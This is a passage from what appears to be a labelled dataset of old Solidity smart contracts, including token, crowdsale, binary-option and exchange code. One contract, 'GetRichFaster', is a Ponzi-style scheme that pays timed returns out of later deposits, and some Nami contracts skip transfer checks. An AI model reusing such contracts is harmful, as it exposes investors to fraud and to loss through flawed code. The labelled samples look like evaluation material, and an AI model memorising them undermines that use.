event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function makeSuccessor(address successorAddr) {
require(active);
require(msg.sender == owner);
successor = successorAddr;
}
function deactivate() {
require(active);
require(msg.sender == owner || (successor != address(0) && msg.sender == successor));
active = false;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract InsightsNetwork2Base is DetailedERC20("Insights Network", "INSTAR", 18), PausableToken, CappedToken{
uint256 constant ATTOTOKEN_FACTOR = 10**18;
address public predecessor;
address public successor;
uint constant MAX_LENGTH = 1024;
uint constant MAX_PURCHASES = 64;
mapping (address => uint256[]) public lockedBalances;
mapping (address => uint256[]) public unlockTimes;
mapping (address => bool) public imported;
event Import(address indexed account, uint256 amount, uint256 unlockTime);
function InsightsNetwork2Base() public CappedToken(300*1000000*ATTOTOKEN_FACTOR) {
paused = true;
mintingFinished = true;
}
function activate(address _predecessor) public onlyOwner {
require(predecessor == 0);
require(_predecessor != 0);
require(predecessorDeactivated(_predecessor));
predecessor = _predecessor;
unpause();
mintingFinished = false;
}
function lockedBalanceOf(address account) public view returns (uint256 balance) {
uint256 amount;
for (uint256 index = 0; index < lockedBalances[account].length; index++)
if (unlockTimes[account][index] > now)
amount += lockedBalances[account][index];
return amount;
}
function mintBatch(address[] accounts, uint256[] amounts) public onlyOwner canMint returns (bool) {
require(accounts.length == amounts.length);
require(accounts.length <= MAX_LENGTH);
for (uint index = 0; index < accounts.length; index++)
require(mint(accounts[index], amounts[index]));
return true;
}
function mintUnlockTime(address account, uint256 amount, uint256 unlockTime) public onlyOwner canMint returns (bool) {
require(unlockTime > now);
require(lockedBalances[account].length < MAX_PURCHASES);
lockedBalances[account].push(amount);
unlockTimes[account].push(unlockTime);
return super.mint(account, amount);
}
function mintUnlockTimeBatch(address[] accounts, uint256[] amounts, uint256 unlockTime) public onlyOwner canMint returns (bool) {
require(accounts.length == amounts.length);
require(accounts.length <= MAX_LENGTH);
for (uint index = 0; index < accounts.length; index++)
require(mintUnlockTime(accounts[index], amounts[index], unlockTime));
return true;
}
function mintLockPeriod(address account, uint256 amount, uint256 lockPeriod) public onlyOwner canMint returns (bool) {
return mintUnlockTime(account, amount, now + lockPeriod);
}
function mintLockPeriodBatch(address[] accounts, uint256[] amounts, uint256 lockPeriod) public onlyOwner canMint returns (bool) {
return mintUnlockTimeBatch(accounts, amounts, now + lockPeriod);
}
function importBalance(address account) public onlyOwner canMint returns (bool);
function importBalanceBatch(address[] accounts) public onlyOwner canMint returns (bool) {
require(accounts.length <= MAX_LENGTH);
for (uint index = 0; index < accounts.length; index++)
require(importBalance(accounts[index]));
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= balances[msg.sender] - lockedBalanceOf(msg.sender));
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= balances[from] - lockedBalanceOf(from));
return super.transferFrom(from, to, value);
}
function selfDestruct(address _successor) public onlyOwner whenPaused {
require(mintingFinished);
successor = _successor;
selfdestruct(owner);
}
function predecessorDeactivated(address _predecessor) internal view onlyOwner returns (bool);
}
contract InsightsNetwork3 is InsightsNetwork2Base {
function importBalance(address account) public onlyOwner canMint returns (bool) {
require(!imported[account]);
InsightsNetwork2Base source = InsightsNetwork2Base(predecessor);
uint256 amount = source.balanceOf(account);
require(amount > 0);
imported[account] = true;
uint256 mintAmount = amount - source.lockedBalanceOf(account);
Import(account, mintAmount, now);
assert(mint(account, mintAmount));
amount -= mintAmount;
for (uint index = 0; amount > 0; index++) {
uint256 unlockTime = source.unlockTimes(account, index);
if ( unlockTime > now ) {
mintAmount = source.lockedBalances(account, index);
Import(account, mintAmount, unlockTime);
assert(mintUnlockTime(account, mintAmount, unlockTime));
amount -= mintAmount;
}
}
return true;
}
function predecessorDeactivated(address _predecessor) internal view onlyOwner returns (bool) {
return InsightsNetwork2Base(_predecessor).paused() && InsightsNetwork2Base(_predecessor).mintingFinished();
}
} | 0 | 648 |
pragma solidity ^0.4.25;
contract GetRichFaster {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 100;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 2 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(7200);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 543 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract NamiCrowdSale {
using SafeMath for uint256;
function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public {
require(_namiMultiSigWallet != 0x0);
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
namiPresale = _namiPresale;
}
string public name = "Nami ICO";
string public symbol = "NAC";
uint public decimals = 18;
bool public TRANSFERABLE = false;
uint public constant TOKEN_SUPPLY_LIMIT = 1000000000 * (1 ether / 1 wei);
uint public binary = 0;
enum Phase {
Created,
Running,
Paused,
Migrating,
Migrated
}
Phase public currentPhase = Phase.Created;
uint public totalSupply = 0;
address public escrow;
address public namiMultiSigWallet;
address public namiPresale;
address public crowdsaleManager;
address public binaryAddress;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
modifier onlyCrowdsaleManager() {
require(msg.sender == crowdsaleManager);
_;
}
modifier onlyEscrow() {
require(msg.sender == escrow);
_;
}
modifier onlyTranferable() {
require(TRANSFERABLE);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
event LogPhaseSwitch(Phase newPhase);
event LogMigrate(address _from, address _to, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transferForTeam(address _to, uint256 _value) public
onlyEscrow
{
_transfer(msg.sender, _to, _value);
}
function transfer(address _to, uint256 _value) public
onlyTranferable
{
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
onlyTranferable
returns (bool success)
{
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
onlyTranferable
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
onlyTranferable
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function changeTransferable () public
onlyEscrow
{
TRANSFERABLE = !TRANSFERABLE;
}
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
function changeBinary(uint _binary)
public
onlyEscrow
{
binary = _binary;
}
function changeBinaryAddress(address _binaryAddress)
public
onlyEscrow
{
require(_binaryAddress != 0x0);
binaryAddress = _binaryAddress;
}
function getPrice() public view returns (uint price) {
if (now < 1517443200) {
return 3450;
} else if (1517443200 < now && now <= 1518048000) {
return 2400;
} else if (1518048000 < now && now <= 1518652800) {
return 2300;
} else if (1518652800 < now && now <= 1519257600) {
return 2200;
} else if (1519257600 < now && now <= 1519862400) {
return 2100;
} else if (1519862400 < now && now <= 1520467200) {
return 2000;
} else if (1520467200 < now && now <= 1521072000) {
return 1900;
} else if (1521072000 < now && now <= 1521676800) {
return 1800;
} else if (1521676800 < now && now <= 1522281600) {
return 1700;
} else {
return binary;
}
}
function() payable public {
buy(msg.sender);
}
function buy(address _buyer) payable public {
require(currentPhase == Phase.Running);
require(now <= 1522281600 || msg.sender == binaryAddress);
require(msg.value != 0);
uint newTokens = msg.value * getPrice();
require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT);
balanceOf[_buyer] = balanceOf[_buyer].add(newTokens);
totalSupply = totalSupply.add(newTokens);
LogBuy(_buyer,newTokens);
Transfer(this,_buyer,newTokens);
}
function burnTokens(address _owner) public
onlyCrowdsaleManager
{
require(currentPhase == Phase.Migrating);
uint tokens = balanceOf[_owner];
require(tokens != 0);
balanceOf[_owner] = 0;
totalSupply -= tokens;
LogBurn(_owner, tokens);
Transfer(_owner, crowdsaleManager, tokens);
if (totalSupply == 0) {
currentPhase = Phase.Migrated;
LogPhaseSwitch(Phase.Migrated);
}
}
function setPresalePhase(Phase _nextPhase) public
onlyEscrow
{
bool canSwitchPhase
= (currentPhase == Phase.Created && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Running && _nextPhase == Phase.Paused)
|| ((currentPhase == Phase.Running || currentPhase == Phase.Paused)
&& _nextPhase == Phase.Migrating
&& crowdsaleManager != 0x0)
|| (currentPhase == Phase.Paused && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated
&& totalSupply == 0);
require(canSwitchPhase);
currentPhase = _nextPhase;
LogPhaseSwitch(_nextPhase);
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
function setCrowdsaleManager(address _mgr) public
onlyEscrow
{
require(currentPhase != Phase.Migrating);
crowdsaleManager = _mgr;
}
function _migrateToken(address _from, address _to)
internal
{
PresaleToken presale = PresaleToken(namiPresale);
uint256 newToken = presale.balanceOf(_from);
require(newToken > 0);
presale.burnTokens(_from);
balanceOf[_to] = balanceOf[_to].add(newToken);
totalSupply = totalSupply.add(newToken);
LogMigrate(_from, _to, newToken);
Transfer(this,_to,newToken);
}
function migrateToken(address _from, address _to) public
onlyEscrow
{
_migrateToken(_from, _to);
}
function migrateForInvestor() public {
_migrateToken(msg.sender, msg.sender);
}
event TransferToBuyer(address indexed _from, address indexed _to, uint _value, address indexed _seller);
event TransferToExchange(address indexed _from, address indexed _to, uint _value, uint _price);
function transferToExchange(address _to, uint _value, uint _price) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackExchange(msg.sender, _value, _price);
TransferToExchange(msg.sender, _to, _value, _price);
}
}
function transferToBuyer(address _to, uint _value, address _buyer) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackBuyer(msg.sender, _value, _buyer);
TransferToBuyer(msg.sender, _to, _value, _buyer);
}
}
}
contract BinaryOption {
address public namiCrowdSaleAddr;
address public escrow;
address public namiMultiSigWallet;
Session public session;
uint public timeInvestInMinute = 10;
uint public timeOneSession = 15;
uint public sessionId = 1;
uint public rateWin = 100;
uint public rateLoss = 20;
uint public rateFee = 5;
uint public constant MAX_INVESTOR = 20;
uint public minimunEth = 10000000000000000;
event SessionOpen(uint timeOpen, uint indexed sessionId);
event InvestClose(uint timeInvestClose, uint priceOpen, uint indexed sessionId);
event Invest(address indexed investor, bool choose, uint amount, uint timeInvest, uint indexed sessionId);
event SessionClose(uint timeClose, uint indexed sessionId, uint priceClose, uint nacPrice, uint rateWin, uint rateLoss, uint rateFee);
event Deposit(address indexed sender, uint value);
function() public payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
struct Session {
uint priceOpen;
uint priceClose;
uint timeOpen;
bool isReset;
bool isOpen;
bool investOpen;
uint investorCount;
mapping(uint => address) investor;
mapping(uint => bool) win;
mapping(uint => uint) amountInvest;
}
function BinaryOption(address _namiCrowdSale, address _escrow, address _namiMultiSigWallet) public {
require(_namiCrowdSale != 0x0 && _escrow != 0x0);
namiCrowdSaleAddr = _namiCrowdSale;
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
}
modifier onlyEscrow() {
require(msg.sender==escrow);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
function changeMinEth(uint _minimunEth) public
onlyEscrow
{
require(_minimunEth != 0);
minimunEth = _minimunEth;
}
function changeTimeInvest(uint _timeInvest)
public
onlyEscrow
{
require(!session.isOpen && _timeInvest < timeOneSession);
timeInvestInMinute = _timeInvest;
}
function changeTimeOneSession(uint _timeOneSession)
public
onlyEscrow
{
require(!session.isOpen && _timeOneSession > timeInvestInMinute);
timeOneSession = _timeOneSession;
}
function changeRateWin(uint _rateWin)
public
onlyEscrow
{
require(!session.isOpen);
rateWin = _rateWin;
}
function changeRateLoss(uint _rateLoss)
public
onlyEscrow
{
require(!session.isOpen);
rateLoss = _rateLoss;
}
function changeRateFee(uint _rateFee)
public
onlyEscrow
{
require(!session.isOpen);
rateFee = _rateFee;
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
function getInvestors()
public
view
returns (address[20])
{
address[20] memory listInvestor;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listInvestor[i] = session.investor[i];
}
return listInvestor;
}
function getChooses()
public
view
returns (bool[20])
{
bool[20] memory listChooses;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listChooses[i] = session.win[i];
}
return listChooses;
}
function getAmount()
public
view
returns (uint[20])
{
uint[20] memory listAmount;
for (uint i = 0; i < MAX_INVESTOR; i++) {
listAmount[i] = session.amountInvest[i];
}
return listAmount;
}
function resetSession()
public
onlyEscrow
{
require(!session.isReset && !session.isOpen);
session.priceOpen = 0;
session.priceClose = 0;
session.isReset = true;
session.isOpen = false;
session.investOpen = false;
session.investorCount = 0;
for (uint i = 0; i < MAX_INVESTOR; i++) {
session.investor[i] = 0x0;
session.win[i] = false;
session.amountInvest[i] = 0;
}
}
function openSession ()
public
onlyEscrow
{
require(session.isReset && !session.isOpen);
session.isReset = false;
session.investOpen = true;
session.timeOpen = now;
session.isOpen = true;
SessionOpen(now, sessionId);
}
function invest (bool _choose)
public
payable
{
require(msg.value >= minimunEth && session.investOpen);
require(now < (session.timeOpen + timeInvestInMinute * 1 minutes));
require(session.investorCount < MAX_INVESTOR);
session.investor[session.investorCount] = msg.sender;
session.win[session.investorCount] = _choose;
session.amountInvest[session.investorCount] = msg.value;
session.investorCount += 1;
Invest(msg.sender, _choose, msg.value, now, sessionId);
}
function closeInvest (uint _priceOpen)
public
onlyEscrow
{
require(_priceOpen != 0 && session.investOpen);
require(now > (session.timeOpen + timeInvestInMinute * 1 minutes));
session.investOpen = false;
session.priceOpen = _priceOpen;
InvestClose(now, _priceOpen, sessionId);
}
function getEtherToBuy (uint _ether, bool _status)
public
view
returns (uint)
{
if (_status) {
return _ether * rateWin / 100;
} else {
return _ether * rateLoss / 100;
}
}
function closeSession (uint _priceClose)
public
onlyEscrow
{
require(_priceClose != 0 && now > (session.timeOpen + timeOneSession * 1 minutes));
require(!session.investOpen && session.isOpen);
session.priceClose = _priceClose;
bool result = (_priceClose>session.priceOpen)?true:false;
uint etherToBuy;
NamiCrowdSale namiContract = NamiCrowdSale(namiCrowdSaleAddr);
uint price = namiContract.getPrice();
require(price != 0);
for (uint i = 0; i < session.investorCount; i++) {
if (session.win[i]==result) {
etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateWin / 100;
uint etherReturn = session.amountInvest[i] - session.amountInvest[i] * rateFee / 100;
(session.investor[i]).transfer(etherReturn);
} else {
etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateLoss / 100;
}
namiContract.buy.value(etherToBuy)(session.investor[i]);
session.investor[i] = 0x0;
session.win[i] = false;
session.amountInvest[i] = 0;
}
session.isOpen = false;
SessionClose(now, sessionId, _priceClose, price, rateWin, rateLoss, rateFee);
sessionId += 1;
session.priceOpen = 0;
session.priceClose = 0;
session.isReset = true;
session.investOpen = false;
session.investorCount = 0;
}
}
contract PresaleToken {
mapping (address => uint256) public balanceOf;
function burnTokens(address _owner) public;
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success);
function tokenFallbackBuyer(address _from, uint _value, address _buyer) public returns (bool success);
function tokenFallbackExchange(address _from, uint _value, uint _price) public returns (bool success);
}
contract NamiExchange {
using SafeMath for uint;
function NamiExchange(address _namiAddress) public {
NamiAddr = _namiAddress;
}
event UpdateBid(address owner, uint price, uint balance);
event UpdateAsk(address owner, uint price, uint volume);
event BuyHistory(address indexed buyer, address indexed seller, uint price, uint volume, uint time);
event SellHistory(address indexed seller, address indexed buyer, uint price, uint volume, uint time);
mapping(address => OrderBid) public bid;
mapping(address => OrderAsk) public ask;
string public name = "NacExchange";
address public NamiAddr;
uint public price = 1;
struct OrderBid {
uint price;
uint eth;
}
struct OrderAsk {
uint price;
uint volume;
}
function() payable public {
require(msg.data.length != 0);
require(msg.value == 0);
}
modifier onlyNami {
require(msg.sender == NamiAddr);
_;
}
function placeBuyOrder(uint _price) payable public {
require(_price > 0 && msg.value > 0 && bid[msg.sender].eth == 0);
if (msg.value > 0) {
bid[msg.sender].eth = (bid[msg.sender].eth).add(msg.value);
bid[msg.sender].price = _price;
UpdateBid(msg.sender, _price, bid[msg.sender].eth);
}
}
function sellNac(uint _value, address _buyer, uint _price) public returns (bool success) {
require(_price == bid[_buyer].price && _buyer != msg.sender);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint ethOfBuyer = bid[_buyer].eth;
uint maxToken = ethOfBuyer.mul(bid[_buyer].price);
require(namiToken.allowance(msg.sender, this) >= _value && _value > 0 && ethOfBuyer != 0 && _buyer != 0x0);
if (_value > maxToken) {
if (msg.sender.send(ethOfBuyer) && namiToken.transferFrom(msg.sender,_buyer,maxToken)) {
bid[_buyer].eth = 0;
UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth);
BuyHistory(_buyer, msg.sender, bid[_buyer].price, maxToken, now);
return true;
} else {
revert();
}
} else {
uint eth = _value.div(bid[_buyer].price);
if (msg.sender.send(eth) && namiToken.transferFrom(msg.sender,_buyer,_value)) {
bid[_buyer].eth = (bid[_buyer].eth).sub(eth);
UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth);
BuyHistory(_buyer, msg.sender, bid[_buyer].price, _value, now);
return true;
} else {
revert();
}
}
}
function closeBidOrder() public {
require(bid[msg.sender].eth > 0 && bid[msg.sender].price > 0);
msg.sender.transfer(bid[msg.sender].eth);
bid[msg.sender].eth = 0;
UpdateBid(msg.sender, bid[msg.sender].price, bid[msg.sender].eth);
}
function tokenFallbackExchange(address _from, uint _value, uint _price) onlyNami public returns (bool success) {
require(_price > 0 && _value > 0 && ask[_from].volume == 0);
if (_value > 0) {
ask[_from].volume = (ask[_from].volume).add(_value);
ask[_from].price = _price;
UpdateAsk(_from, _price, ask[_from].volume);
}
return true;
}
function closeAskOrder() public {
require(ask[msg.sender].volume > 0 && ask[msg.sender].price > 0);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint previousBalances = namiToken.balanceOf(msg.sender);
namiToken.transfer(msg.sender, ask[msg.sender].volume);
ask[msg.sender].volume = 0;
UpdateAsk(msg.sender, ask[msg.sender].price, 0);
assert(previousBalances < namiToken.balanceOf(msg.sender));
}
function buyNac(address _seller, uint _price) payable public returns (bool success) {
require(msg.value > 0 && ask[_seller].volume > 0 && ask[_seller].price > 0);
require(_price == ask[_seller].price && _seller != msg.sender);
NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr);
uint maxEth = (ask[_seller].volume).div(ask[_seller].price);
uint previousBalances = namiToken.balanceOf(msg.sender);
if (msg.value > maxEth) {
if (_seller.send(maxEth) && msg.sender.send(msg.value.sub(maxEth))) {
namiToken.transfer(msg.sender, ask[_seller].volume);
SellHistory(_seller, msg.sender, ask[_seller].price, ask[_seller].volume, now);
ask[_seller].volume = 0;
UpdateAsk(_seller, ask[_seller].price, 0);
assert(previousBalances < namiToken.balanceOf(msg.sender));
return true;
} else {
revert();
}
} else {
uint nac = (msg.value).mul(ask[_seller].price);
if (_seller.send(msg.value)) {
namiToken.transfer(msg.sender, nac);
ask[_seller].volume = (ask[_seller].volume).sub(nac);
UpdateAsk(_seller, ask[_seller].price, ask[_seller].volume);
SellHistory(_seller, msg.sender, ask[_seller].price, nac, now);
assert(previousBalances < namiToken.balanceOf(msg.sender));
return true;
} else {
revert();
}
}
}
}
contract ERC23 {
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool success);
}
contract NamiMultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
